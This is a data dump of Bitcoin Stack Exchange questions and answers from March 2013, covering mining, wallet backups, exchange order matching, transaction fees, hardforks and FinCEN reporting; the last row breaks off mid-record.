  <row Id="8177" PostTypeId="1" CreationDate="2013-03-06T15:30:17.387" Score="1" ViewCount="291" Body="&lt;p&gt;I'm trying to understand what can happen if &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A block consists entirely of 3rd party (xCoin) data like Namecoin  &lt;/li&gt;&#xA;&lt;li&gt;There are no Tx fees to collect since they are on alternate chains.  &lt;/li&gt;&#xA;&lt;li&gt;Assume that the Block reward is quite low (0.25 BTC).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How will mining be profitable?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the 3rd party data must subsidize mining, what would that subsidy look like within a block?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-01-20T20:36:55.760" LastActivityDate="2016-01-20T20:36:55.760" Title="What ultimately happens to mining if blocks contain mostly non-Bitcoin data?" Tags="|mining-reward|merged-mining|mining-profitability|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8179" PostTypeId="2" ParentId="8097" CreationDate="2013-03-06T16:34:09.553" Score="2" Body="&lt;p&gt;This is a feature of blockchain.info only, because it is stored in their database. It is possible for anyone to associate a link (&quot;tag&quot;) with any bitcoin address on blockchain.info, as long as it can be verified that the page the tag links to also contains the same bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the example address provided in the question contains both a link and a short message. This happens for tags that point to user profiles on bitcointalk.org. The message displayed is simply the user signature from that forum.&lt;/p&gt;&#xA;" OwnerUserId="3142" LastActivityDate="2013-03-06T16:34:09.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8180" PostTypeId="2" ParentId="8169" CreationDate="2013-03-06T17:34:09.113" Score="2" Body="&lt;p&gt;A dishonest server could lie to you about how many bitcoins you have. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-05-03T23:34:38.883" LastActivityDate="2015-05-03T23:34:38.883" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8181" PostTypeId="2" ParentId="8177" CreationDate="2013-03-06T17:38:10.160" Score="1" Body="&lt;p&gt;Whoever discovers the block can choose what information to put into it. Therefore a miner that finds a hash that has a sufficient level of difficulty can choose to only include transactions that actually pay their transaction fee.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2013-03-06T17:38:10.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8182" PostTypeId="1" AcceptedAnswerId="8213" CreationDate="2013-03-06T18:18:50.017" Score="4" ViewCount="5638" Body="&lt;p&gt;I have a 5850, and have been mining with it for about a week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With GuiMiner I can mine bitcoins at about 275Mhash/s.  This has not changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of days ago I setup Litecoin mining and it was working at about 350Khash/s, which at the time was about the same profit as Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now when I mine litecoins I'm only getting 35 khash/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting the same speed with CGMiner or Reaper.  I just started the exact same setup I had last week and I'm getting the crappy result.  I've been messing with settings and config, but no change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have rebooted, no change.  I can change back to Bitcoins anytime and get 275Mhash/s with CGMiner, but when I change CGMiner to Scrypt mining it drops to 10% what it should be getting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't think of anything that would cause this.  Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scrypt CGMiner mining:&#xA;&lt;a href=&quot;http://puu.sh/2d7Mp&quot; rel=&quot;nofollow&quot;&gt;http://puu.sh/2d7Mp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin CGMiner mining:&#xA;&lt;a href=&quot;http://puu.sh/2d7NW&quot; rel=&quot;nofollow&quot;&gt;http://puu.sh/2d7NW&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current CGminer command:&#xA;cgminer --scrypt -o x -u Liquid5n0w.1 -p x --intensity 12 --worksize 256 -g 1 --lookup-gap 2 --thread-concurrency 7200  --fix-protocol&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="5406" LastEditDate="2016-02-21T10:15:35.750" LastActivityDate="2016-02-21T10:15:35.750" Title="Litecoin mining 10 times slower than a couple of days ago" Tags="|litecoin|cgminer|scrypt|gpu-mining|miner-configuration|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8183" PostTypeId="2" ParentId="8182" CreationDate="2013-03-06T18:56:41.963" Score="0" Body="&lt;p&gt;This has happened to me several times, and I have always been able to resolve this by deleting the .conf file (for cgminer this is /cgminer.conf)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have already been mining at a nice rate, I do not think this is an issue with the command you are passing, however others with similar problems might want to try the following tutorial:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=97143.msg1069730#msg1069730&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=97143.msg1069730#msg1069730&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="3195" LastActivityDate="2013-03-06T18:56:41.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8184" PostTypeId="1" CreationDate="2013-03-06T19:17:56.637" Score="1" ViewCount="2887" Body="&lt;p&gt;I am trying to understand Bitcoin QT. Sorry for the questions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If I create two new addresses, then encrypt my wallet and then create a third new address after the encryption process, are all three new addresses encrypted and safe to use?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I then copy the wallet.dat file to usb sticks and delete the wallet.dat file on my laptop, are the funds on the usb stick still accessible? On all three addresses?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can I then continue sending money to these addresses? Even thought the wallet isn't connected to the internet?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Imagine I have a copy of the wallet.dat file on a usb stick. If I generate a 4th address on my laptop, and then destroy the laptops wallet.dat file, will funds I send to the 4th address still go into the wallet.dat copy  on the usb stick which was made before I created the 4th address?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I can see coins transfered to my wallet and confirmed, should I bother setting up a second wallet on my other computer and doing a test transaction with my new funds? Or can I safely assume the coins are ok?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a gauranteed fail safe way to check the balance in an address without hooking up the wallet.dat file to my client? I want to keep my wallet.dat file offline.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are the answers to the above the same for Litecoin QT?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks so much for any guidance  &lt;/p&gt;&#xA;" OwnerUserId="3151" LastActivityDate="2013-03-06T20:26:33.930" Title="Securing a wallet and multiple addresses" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8186" PostTypeId="2" ParentId="8184" CreationDate="2013-03-06T20:26:33.930" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, your &quot;wallet.dat&quot; contains all your keys, and when you make new keys then they will be added to your wallet.dat. If you encrypt your wallet.dat, then all keys in it will be encryptet and all keys added to it will also be encryptet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your founds is not stored in your wallet.dat. The founds are stored in the blockchain (which everyone can download via a huge p2p network).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes. Your wallet.dat only contain the private keys to spend coins. Everyone can at all time send you coins (whether your connected to the internet or not).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No. The USB stick will only be able to spend coins send to the first 3 addresses (as the USB stick's wallet.dat will only contain private keys to the first 3 addresses).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As long as your client has the longest blockchain, then coins send to you can NEVER be removed again (unless someone spends them, with the private key only you know). However note that coins can first be &quot;trusted&quot;, when there is enough confirms (&quot;0 confirms&quot; just means that someone has sent you a transaction, but it will first be &quot;trustable&quot; when it's included in the blockchain and enough blocks confirms that the blockchain will never be forked under your transaction. But usually 6 confirms should be enough).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Type your address on a trusted website, e.g. &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/&lt;/a&gt; and look at the balance. Some clients support &quot;watch-only&quot; addresses (they only store your bitcoin address and not your private key), but I don't think Bitcoin-QT supports this (yet).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't know much about litecoin, but most of the &quot;public/private key&quot; stuff, apply to all cryptocoins (e.g. you can watch an address without storing the private key, etc).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-03-06T20:26:33.930" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8187" PostTypeId="1" CreationDate="2013-03-06T20:38:53.427" Score="7" ViewCount="629" Body="&lt;p&gt;I'm trying to understand how a partial fill would / should happen at an exchange and how that would occur&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the BTC rate was $10/BTC and &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Someone wanted to buy 100 BTC at $10 &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The only sellers were &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One seller wants to sell 50 coins for $10 USD&lt;/li&gt;&#xA;&lt;li&gt;One seller wants to sell 50 coins for $9.90 USD&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Would the final transaction not be completed because not enough matching shares were available?  (fair benefit)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Would the purchaser be charged $10 * 50 + $9.90 * 50 = $995  (purchaser saves $5)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Would the purchaser be charged $1,000 and the price was increased from $9.90 to $10 (seller gains unexpected $5)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Would the exchange purchase the shares at $9.90 and quickly resell them for $10  (exchange benefit)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If #4 occurs, should the exchange still charge a fee on top of profits already made?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What is expected in this scenario?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put this in better context, I'm comparing #4 to &lt;a href=&quot;http://www.sec.gov/investor/pubs/exquality.htm&quot; rel=&quot;nofollow&quot;&gt;SEC Rule 605&lt;/a&gt; to encourage open reporting and trade equality.  Namely requiring market centers (Mt Gox) to disclose the extent to which they provide executions at prices better than the public quotes to investors using limit orders.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2014-06-12T22:12:08.970" LastActivityDate="2022-04-14T23:34:48.587" Title="When BTC is traded at a Bitstamp, Mt Gox (or similar) what is the algorithm for matching Buys to Sells? How do partial fills occur?" Tags="|exchanges|mtgox|exchange-fees|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8188" PostTypeId="2" ParentId="8182" CreationDate="2013-03-06T21:17:09.490" Score="0" Body="&lt;p&gt;Try what I sent to you with the modded version of cgminer and see how you get on with that. If you are mining with .conf file grab the default one from cgminer and relapse it and use and create .bat files if you know how to do that and progress from their.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that try removing all drivers and starting fresh. If that does not work with custom modded cgminer then you could of done something to the card, could be anything. the other option you have is to try the card on another system.&lt;/p&gt;&#xA;" OwnerUserId="3199" LastEditorUserId="3199" LastEditDate="2013-03-06T21:37:06.440" LastActivityDate="2013-03-06T21:37:06.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8189" PostTypeId="1" CreationDate="2013-03-06T22:52:16.053" Score="5" ViewCount="505" Body="&lt;p&gt;Is it possible to increase transaction fee of a transaction that is already  sent and seems stuck?&lt;/p&gt;&#xA;" OwnerUserId="3201" LastEditorUserId="516" LastEditDate="2013-03-06T23:40:34.810" LastActivityDate="2013-03-07T09:35:19.253" Title="Is it possible to increase the transaction fee of a sent transaction not yet in a block?" Tags="|transaction-fees|transaction-selection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8190" PostTypeId="2" ParentId="8189" CreationDate="2013-03-06T23:08:19.823" Score="0" Body="&lt;p&gt;No, you can't &quot;edit&quot; in a transaction, but you can doublespend the transaction (e.g. create a new transaction with a higher fee, but reuse the same output as the other transaction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure it's possible in Bitcoin-QT (without doing some ninja tricks), but you might be able to do it by using Armory to create a offline transaction (e.g. Armory don't know about the sent transaction if it only get the wallet and blockchain on a offline computer).&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-03-06T23:08:19.823" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8191" PostTypeId="1" CreationDate="2013-03-06T23:39:26.437" Score="5" ViewCount="657" Body="&lt;p&gt;Experimentally, this seems to be the case, but is it always like this or depends on some details?&#xA;Also, does it generate a new address each time this is done, or first searches the wallet if there is an empty address there already? (And uses that in that case)&#xA;Is it likely that this behaviour will change in a later version of the satoshi client? &lt;/p&gt;&#xA;" OwnerUserId="3202" LastEditorUserId="5406" LastEditDate="2024-01-05T13:20:57.313" LastActivityDate="2024-01-05T13:20:57.313" Title="Does the satoshi client always send the change of a transaction to a newly generated address?" Tags="|transactions|bitcoin-core|address|change|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="8192" PostTypeId="2" ParentId="8191" CreationDate="2013-03-07T00:23:16.310" Score="3" Body="&lt;p&gt;When you generate a wallet, then the wallet contains by default &lt;a href=&quot;https://en.bitcoin.it/wiki/Key_pool&quot; rel=&quot;nofollow&quot;&gt;100 bitcoin addresses&lt;/a&gt;. This is good for many reasons, e.g. old backups of your wallet might be able to recover all loses in case of a harddrive failure, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;privacy reason&quot; is that someone looking at the blockchain can't see which bitcoin go to the receiver and which is the change of the inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And last but not least, the &quot;security reason&quot; is because every bitcoin addresses is just a hash of a public key, so someone with a working quantum computer can't attack the public key (as he can only see a hash of the key, not the key itself). But whenever you need to spend bitcoins, you need to reveal the public key, so all addresses that have previously spend bitcoins will be &quot;vulnerable&quot; (but new addresses wont).&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-03-07T00:23:16.310" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8193" PostTypeId="1" CreationDate="2013-03-07T01:08:06.153" Score="8" ViewCount="861" Body="&lt;p&gt;In the United States, both Individuals and Businesses are required to file a &lt;a href=&quot;http://en.wikipedia.org/wiki/Suspicious_activity_report&quot;&gt;Suspicious Activity Report (SAR) with FinCen&lt;/a&gt; when:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Individuals who transport more than $10,000 into or out of the United States&lt;a href=&quot;http://en.wikipedia.org/wiki/Suspicious_activity_report&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Shippers and receivers involved in the transfer of $10,000 into or out of the United States.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Businesses that receive more than $10,000 in a transaction or in related transactions&lt;a href=&quot;http://en.wikipedia.org/wiki/Suspicious_activity_report&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;People who have control over more than $10,000 in financial accounts outside of the U.S. during a calendar year&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How could these rules be interpreted when dealing with Bitcoin? (please contrast conservative and non-conservative viewpoints)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since Bitcoin's value varies, does that mean that a declaration is required when the price exceeds a certain amount?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is considered as &quot;transporting&quot; into and out of the United States?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is simply running a Bitcoin QT client considered a &quot;money services business&quot; and is subject to FinCEN requirements?  If my wallet is hosted, does that mean they are responsible? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="37414" LastEditDate="2018-05-10T16:55:00.490" LastActivityDate="2018-05-10T16:55:00.490" Title="When should an individual or business file a SAR with FinCen?" Tags="|legal|aml|fincen|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8194" PostTypeId="2" ParentId="8142" CreationDate="2013-03-07T02:04:56.273" Score="0" Body="&lt;p&gt;Armory enables exactly what you're looking to do with its Watching Wallet.  Because of its deterministic nature, you can generate unlimited public keys which you can assign to each customer while the private keys sit safely on an offline computer somewhere.&lt;/p&gt;&#xA;" OwnerUserId="3125" LastActivityDate="2013-03-07T02:04:56.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8195" PostTypeId="1" CreationDate="2013-03-07T02:08:52.137" Score="2" ViewCount="384" Body="&lt;p&gt;I've read that pub keys aren't exposed until they're spent from.  Can someone show me an example of a transaction prior to the pub key being exposed and then after?  Where do i look?&lt;/p&gt;&#xA;" OwnerUserId="3125" LastEditorUserId="2306" LastEditDate="2013-03-07T08:11:29.913" LastActivityDate="2022-10-09T13:08:11.100" Title="Where can I look to see a revealed public key?" Tags="|security|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8196" PostTypeId="1" CreationDate="2013-03-07T03:32:41.153" Score="7" ViewCount="1410" Body="&lt;p&gt;Bitcoin functions as a a quasi-commodity currency and I believe it can be priced according to particular factors, variables, instead of simply by the supply and demand in the exchange order book.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pricing of bitcoins reminds me of the days before options contracts had a standard pricing mechanism. Today, options are valued popularly by the Black-Scholes equation, and no matter how many buyers and sellers there are for an option, that contract will always have a particular known and predictable price, with one variable (Implied Volatility) to account for mispricing outside of that formula. Options of course, are derivatives of an underlying asset and an infinite number of the contracts can be created. Bitcoin on the other hand behaves more like commodity futures to their spot price, where there is a known quantity and a known amount of effort to acquire them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ignoring the overly simplistic idea of &quot;supply and demand&quot; imbalances, bitcoin is influenced by the following factors:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the rate at which new coins can be currently mined&lt;/li&gt;&#xA;&lt;li&gt;the future rate at which new coins can be mined, based on perception of mining hardware and how that will affect network difficulty rates&lt;/li&gt;&#xA;&lt;li&gt;how many bitcoins remain to be mined&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think these factors can be a greater influence than the speculators currently are, but it would require these factors to be reduced to a formula, as bitcoins are converging to a particular amount. This would allow for changes in volatility (wild swings in bitcoin price) to occur only in anticipation of real world events related to bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Has anyone put any effort into pricing bitcoins or cryptocurrencies in general?&lt;/b&gt; Perhaps this is an area of study that you might be aware of&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="5406" LastEditDate="2016-02-21T10:18:58.783" LastActivityDate="2016-02-21T10:18:58.783" Title="Pricing bitcoins" Tags="|exchange-rate|currencies|economic-theory|price-volatility|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8197" PostTypeId="1" CreationDate="2013-03-07T03:57:00.310" Score="2" ViewCount="264" Body="&lt;p&gt;I'm trying to estimate the Wattage used in mining operations over time and compare that YoY cost with mining physical materials (gold, silver, etc).  I hope that the electrical impact is less than that of mining for precious metals, but I'd like to quantify that to be sure.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What are some approaches I can use to measure and extrapolate the electrical and hardware cost of mining over the years?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some data points that would assist in gathering this information would be&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When was CPU mining invented/popularized?  To what extent?&lt;/li&gt;&#xA;&lt;li&gt;When was GPU  mining invented/popularized?  To what extent?&lt;/li&gt;&#xA;&lt;li&gt;When was FPGA  mining invented/popularized?  To what extent?&lt;/li&gt;&#xA;&lt;li&gt;When was ASIC  mining invented/popularized?  To what extent?&lt;/li&gt;&#xA;&lt;li&gt;What is the average cost of the above components?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example, do we know how many FPGAs were in the wild on a per-vendor basis?  How much of the hashrate did that consume and what is left over?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-02-21T10:28:08.313" LastActivityDate="2016-02-21T10:28:08.313" Title="How can one estimate the amount of Watts that is consumed by the mining network as a whole?" Tags="|hashpower|energy-consumption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8198" PostTypeId="1" CreationDate="2013-03-07T06:06:14.510" Score="5" ViewCount="231" Body="&lt;p&gt;I want to download the entire bitcoin transaction history and store it in a database at my end to perform certain analysis. How do I get from the blk*.dat files to a useful format?&lt;/p&gt;&#xA;" OwnerUserId="3205" LastEditorUserId="2306" LastEditDate="2013-03-07T07:53:37.023" LastActivityDate="2013-03-07T21:12:20.497" Title="How should I get all transaction history in a format that I can analyze?" Tags="|transactions|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8199" PostTypeId="1" AcceptedAnswerId="8206" CreationDate="2013-03-07T08:34:40.883" Score="1" ViewCount="156" Body="&lt;p&gt;My understanding of &quot;hardfork&quot; was that it referred to anything that requires re-building the blockchain from the genesis block. But now, I understand that anything that requires a Bitcoin-Qt client upgrade is a hardfork, too. Why is a hardfork considered a problem in the Bitcoin community? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;User wallets and stored keys are more important, so all upgrades must ensure they wouldn't break these, but does it matter at all that it's required to upgrade old clients to use new features?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="5406" LastEditDate="2014-02-11T15:50:21.330" LastActivityDate="2014-02-11T15:50:21.330" Title="Why is a hardfork a problem?" Tags="|protocol|blockchain-fork|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8200" PostTypeId="2" ParentId="8199" CreationDate="2013-03-07T09:02:54.807" Score="1" Body="&lt;p&gt;A hardfork is not when old clients must upgrade to use new features. A hardfork is when old clients must upgrade to use the system at all. For example, if a new type of transaction was added, people who didn't upgrade wouldn't be able to understand the new transactions and wouldn't be able to spend or receive any Bitcoin that had ever been transferred by a new transaction anywhere in its history.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-07T09:02:54.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8201" PostTypeId="2" ParentId="8195" CreationDate="2013-03-07T09:05:27.410" Score="1" Body="&lt;p&gt;Just go to any typical, normal transaction on blockexplorer. &lt;a href=&quot;http://blockexplorer.com/tx/bf89f7036bde78103b94cf1291c9389a5ed894045cebd5216f04f1a2aa5c5959&quot; rel=&quot;nofollow&quot;&gt;Here's a link&lt;/a&gt; to one I picked at random. The input(s) are scripts where the public key and signature are provided to claim the outputs of previous transactions in the &lt;code&gt;ScriptSig&lt;/code&gt; field. The output(s) are scripts where the public key has not yet been provided and contain only a hash of the public key in the &lt;code&gt;ScriptPubKey&lt;/code&gt; field.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-07T09:05:27.410" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8202" PostTypeId="2" ParentId="8197" CreationDate="2013-03-07T09:26:43.490" Score="1" Body="&lt;p&gt;The majority of mining occuring with CPUs ended in late 2010, though the plurality may not have (i.e., there were more miners using CPUs but most mining was based on GPUs by the end of 2010).  Most who remained using CPUs were pretty much squeezed out during Spring 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPUs could be purchased at retail, and were about the only technology that mattered from the beginning of 2011 into early-2012, so estimates could presume most hashing during that period was on GPUs.  Efficiency of various GPU models varied widely, but most miners were using roughly similar hardware because of the combination of price, performance and availability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FPGAs include custom FPGA designs targeted to Bitcoin (e.g., BFL) and others that were offering commercially available off-the-shelf products. Unit shipment numbers are generally not known.    At their peak, FPGAs might have been less than a third of all hashing combined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASICs are just now impacting the hashrates, but in a few months will statistically completely displace all GPU and FPGA mining.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-03-07T19:29:38.910" LastActivityDate="2013-03-07T19:29:38.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8203" PostTypeId="2" ParentId="8189" CreationDate="2013-03-07T09:35:19.253" Score="2" Body="&lt;p&gt;Today? No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a feature that was developed referred to as &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/1647&quot; rel=&quot;nofollow&quot;&gt;child pays for parent&lt;/a&gt; however few miners if any are using this patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been instances where mining pool operators have been offered a bounty to include a specific transactions, but there is no automated process for that and presumably would require a significant incentive.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-07T09:35:19.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8204" PostTypeId="2" ParentId="8137" CreationDate="2013-03-07T10:18:47.827" Score="5" Body="&lt;p&gt;If you are to receive a transaction with address A, you need A's private key in order to spend it and nothing more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to require two or more addresses to be used to spend money you receive, you would need to use a multisig address. After that, you would need to use m-of-n private keys to spend the coins, with m and n being predefined when you create the multisig address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other ways one could restrict coins from being spent - say requiring a password or allowing anyone to spend them, but they are a lot more obscure and generally not used by anyone.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-03-07T10:18:47.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8205" PostTypeId="1" AcceptedAnswerId="8209" CreationDate="2013-03-07T10:42:13.563" Score="0" ViewCount="121" Body="&lt;p&gt;Is there a particular reason fees higher than the transaction volume are allowed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about imposing this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smallest output must be at least 10 times the fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might reduce Spamdice transactions (thinking of losing bets notification).&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="2306" LastEditDate="2013-04-01T08:37:45.993" LastActivityDate="2013-04-01T08:37:45.993" Title="Fee height vs. TX value - limit?" Tags="|transactions|transaction-fees|spam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8206" PostTypeId="2" ParentId="8199" CreationDate="2013-03-07T11:04:18.737" Score="2" Body="&lt;p&gt;All the nodes in the Bitcoin Network have agreed on a certain set of rules. These rules are coded into the client and everything that changes the state of the ledger is checked against those rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardforks happen when a change in those rules (for example the reward halving rule or the difficulty adjustment rule) causes the new clients to make different decisions about the validity of transactions and blocks. This basically means that over time the state of the ledger on older clients would diverge from the state at new clients, creating two incompatible networks, as transactions would be valid in one but not in the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As transactions and blocks are chained together, even a single disagreement about the validity of a transaction or block can cause large parts of the state to become inconsistent over time, it is therefore crucial that the network as a whole agrees on the rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The developers keep a wishlist of changes for hardforks, because hardforks should be a rare event, breaking changes be bundled into on hardfork. The changes decided in hardforks have a trigger height after which they are applied, which is usually several months in the future in order to let developers of alternative clients and the users update their nodes before the switch, minimizing the number of incompatible nodes left behind.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-03-07T11:04:18.737" CommentCount="1" 